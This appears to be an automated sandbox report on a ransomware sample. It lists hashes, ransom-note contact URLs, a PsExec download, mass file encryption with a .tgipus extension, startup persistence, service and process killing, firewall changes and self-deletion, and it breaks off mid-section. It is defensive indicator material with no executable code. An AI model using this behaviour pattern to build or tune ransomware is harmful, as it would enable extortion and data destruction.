Analysis
-
max time kernel
44s -
max time network
46s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
14-04-2023 19:47
Behavioral task
behavioral1
Sample
f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe
Resource
win10v2004-20230220-en
General
-
Target
f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe
-
Size
9.3MB
-
MD5
743d9d9b3c39206b0a2de0dbb107fb7d
-
SHA1
bdff586c4ae0366813335569427b1aeda2815808
-
SHA256
f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a
-
SHA512
574402c7f2eff1fdb8edcfc7a78cf741aeb20bd4775db792d44e74156e926c8e143c106623f2f024be20bd28ab46159e18b540862c4a22581c3c17ac2eb5b17c
-
SSDEEP
98304:4fXT9wuCHGLu1TIRtUOV5ZbvoVUq+kScfFbUs:NuCmTRtnvoVUq+6fFbL
Malware Config
Extracted
C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txt
https://www.getmonero.org/
https://qtox.github.io/
https://wiki.bitmessage.org/
https://github.com/Bitmessage/PyBitmessage/releases/
Signatures
-
Downloads MZ/PE file
-
Downloads PsExec from SysInternals website 1 IoCs
Sysinternals tools like PsExec are often leveraged maliciously by malware families due to being commonly used by testers/administrators.
Processes:
description flow ioc HTTP URL 9 http://live.sysinternals.com/PsExec.exe -
Modifies Windows Firewall 1 TTPs 2 IoCs
-
Deletes itself 1 IoCs
Processes:
cmd.exepid process 1272 cmd.exe -
Drops startup file 1 IoCs
Processes:
f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\reload1.lnk f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe -
Drops desktop.ini file(s) 6 IoCs
Processes:
f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exedescription ioc process File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Games\Desktop.ini f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\Desktop.ini f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe -
Drops file in Program Files directory 60 IoCs
Processes:
f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exedescription ioc process File opened for modification C:\Program Files\CheckpointPop.html.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\ExitNew.mht f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\RequestDeny.tmp f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\WaitUnblock.doc.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\RegisterClose.rm.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\SplitUse.ps1xml f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\ReadDismount.wmx f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\SplitUse.ps1xml.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\UnblockUninstall.cab f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\CheckpointPop.html f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\CompleteUnregister.pcx.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\HideGroup.3gp.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\HidePing.ppsm f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\NewGroup.WTV.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\LimitResolve.kix.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\RemoveMerge.clr f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\UnpublishReset.mpeg3 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\CheckpointBackup.snd f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\GetSwitch.wpl f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\RegisterClose.rm f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\WatchBackup.MOD.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\ConnectResume.wpl.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\OpenTrace.i64 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\ShowSkip.jpeg f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\SplitExit.cr2.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\SyncHide.eprtx f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\UseMove.wmv f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\CompressRedo.DVR-MS f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\UseMove.wmv.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\HidePing.ppsm.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\ReadDismount.wmx.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\ShowProtect.ico.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\WaitUnblock.doc f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\WatchBackup.MOD f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\CompleteUnregister.pcx f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\CompressRedo.DVR-MS.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\NewGroup.WTV f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\TestReset.xltm f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\UnblockUninstall.cab.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\RequestDeny.tmp.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\SyncHide.eprtx.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\TestReset.xltm.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\StepNew.cfg f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\UnpublishReset.mpeg3.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\ConnectResume.wpl f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\GetSwitch.wpl.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\LimitResolve.kix f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\SelectInstall.ico f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\SelectInstall.ico.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\ShowProtect.ico f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\CheckpointBackup.snd.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\PingSet.txt f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\ShowSkip.jpeg.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\SplitExit.cr2 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\ExitNew.mht.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\HideGroup.3gp f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\RemoveMerge.clr.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\OpenTrace.i64.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\PingSet.txt.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Program Files\StepNew.cfg.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe -
Drops file in Windows directory 28 IoCs
Processes:
f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exedescription ioc process File created C:\Windows\RESTORE_FILES_INFO.txt f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\DtcInstall.log.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\system.ini f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\system.ini.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\WMSysPr9.prx f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\TSSysprep.log f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\Ultimate.xml.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\PFRO.log.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\setupact.log f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\WindowsShell.Manifest f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\WindowsUpdate.log f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\WindowsUpdate.log.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\DtcInstall.log f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\win.ini f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\WindowsShell.Manifest.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\msdfmap.ini f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\setuperr.log f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\Starter.xml f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\win.ini.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\mib.bin f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\msdfmap.ini.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\bootstat.dat f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\PFRO.log f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\TSSysprep.log.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\Ultimate.xml f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File created C:\Windows\bootstat.dat.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\setupact.log.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe File opened for modification C:\Windows\Starter.xml.[ID-945C4F3A].tgipus f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe -
Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 992 sc.exe 1452 sc.exe 868 sc.exe 1672 sc.exe 900 sc.exe 1988 sc.exe 1796 sc.exe 1596 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Kills process with taskkill 48 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 1664 taskkill.exe 1740 taskkill.exe 880 taskkill.exe 1792 taskkill.exe 576 taskkill.exe 1604 taskkill.exe 1952 taskkill.exe 964 taskkill.exe 1648 taskkill.exe 2004 taskkill.exe 1888 taskkill.exe 1284 taskkill.exe 1524 taskkill.exe 2016 taskkill.exe 1608 taskkill.exe 1116 taskkill.exe 1976 taskkill.exe 1512 taskkill.exe 1428 taskkill.exe 608 taskkill.exe 1064 taskkill.exe 1636 taskkill.exe 1764 taskkill.exe 1772 taskkill.exe 960 taskkill.exe 2008 taskkill.exe 336 taskkill.exe 1056 taskkill.exe 1980 taskkill.exe 832 taskkill.exe 1652 taskkill.exe 1560 taskkill.exe 1088 taskkill.exe 1008 taskkill.exe 1196 taskkill.exe 1076 taskkill.exe 1732 taskkill.exe 1204 taskkill.exe 1180 taskkill.exe 1420 taskkill.exe 1524 taskkill.exe 1196 taskkill.exe 1160 taskkill.exe 1900 taskkill.exe 1716 taskkill.exe 1468 taskkill.exe 1996 taskkill.exe 1624 taskkill.exe -
Modifies registry key 1 TTPs 1 IoCs
-
Opens file in notepad (likely ransom note) 1 IoCs
Processes:
notepad.exepid process 1820 notepad.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exepid process 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe -
Suspicious use of AdjustPrivilegeToken 48 IoCs
Processes:
f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepowershell.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.execonhost.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exedescription pid process Token: SeDebugPrivilege 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe Token: SeDebugPrivilege 576 taskkill.exe Token: SeDebugPrivilege 1056 taskkill.exe Token: SeDebugPrivilege 1008 taskkill.exe Token: SeDebugPrivilege 1512 taskkill.exe Token: SeDebugPrivilege 1604 taskkill.exe Token: SeDebugPrivilege 1980 taskkill.exe Token: SeDebugPrivilege 1160 taskkill.exe Token: SeDebugPrivilege 1428 taskkill.exe Token: SeDebugPrivilege 1196 taskkill.exe Token: SeDebugPrivilege 832 taskkill.exe Token: SeDebugPrivilege 1900 taskkill.exe Token: SeDebugPrivilege 1076 taskkill.exe Token: SeDebugPrivilege 608 taskkill.exe Token: SeDebugPrivilege 1064 taskkill.exe Token: SeDebugPrivilege 1524 taskkill.exe Token: SeDebugPrivilege 1952 powershell.exe Token: SeDebugPrivilege 1664 taskkill.exe Token: SeDebugPrivilege 1636 taskkill.exe Token: SeDebugPrivilege 1764 taskkill.exe Token: SeDebugPrivilege 1732 taskkill.exe Token: SeDebugPrivilege 2016 taskkill.exe Token: SeDebugPrivilege 1608 taskkill.exe Token: SeDebugPrivilege 1772 taskkill.exe Token: SeDebugPrivilege 1716 taskkill.exe Token: SeDebugPrivilege 1116 taskkill.exe Token: SeDebugPrivilege 1976 conhost.exe Token: SeDebugPrivilege 960 taskkill.exe Token: SeDebugPrivilege 2008 taskkill.exe Token: SeDebugPrivilege 964 taskkill.exe Token: SeDebugPrivilege 1204 taskkill.exe Token: SeDebugPrivilege 1648 taskkill.exe Token: SeDebugPrivilege 1740 taskkill.exe Token: SeDebugPrivilege 1652 taskkill.exe Token: SeDebugPrivilege 2004 taskkill.exe Token: SeDebugPrivilege 1888 taskkill.exe Token: SeDebugPrivilege 880 taskkill.exe Token: SeDebugPrivilege 1792 taskkill.exe Token: SeDebugPrivilege 1180 taskkill.exe Token: SeDebugPrivilege 1420 taskkill.exe Token: SeDebugPrivilege 336 taskkill.exe Token: SeDebugPrivilege 1284 taskkill.exe Token: SeDebugPrivilege 1088 taskkill.exe Token: SeDebugPrivilege 1560 taskkill.exe Token: SeDebugPrivilege 1524 taskkill.exe Token: SeDebugPrivilege 1624 taskkill.exe Token: SeDebugPrivilege 1196 taskkill.exe Token: SeDebugPrivilege 1952 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exepid process 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe -
Suspicious use of SendNotifyMessage 1 IoCs
Processes:
f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exepid process 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
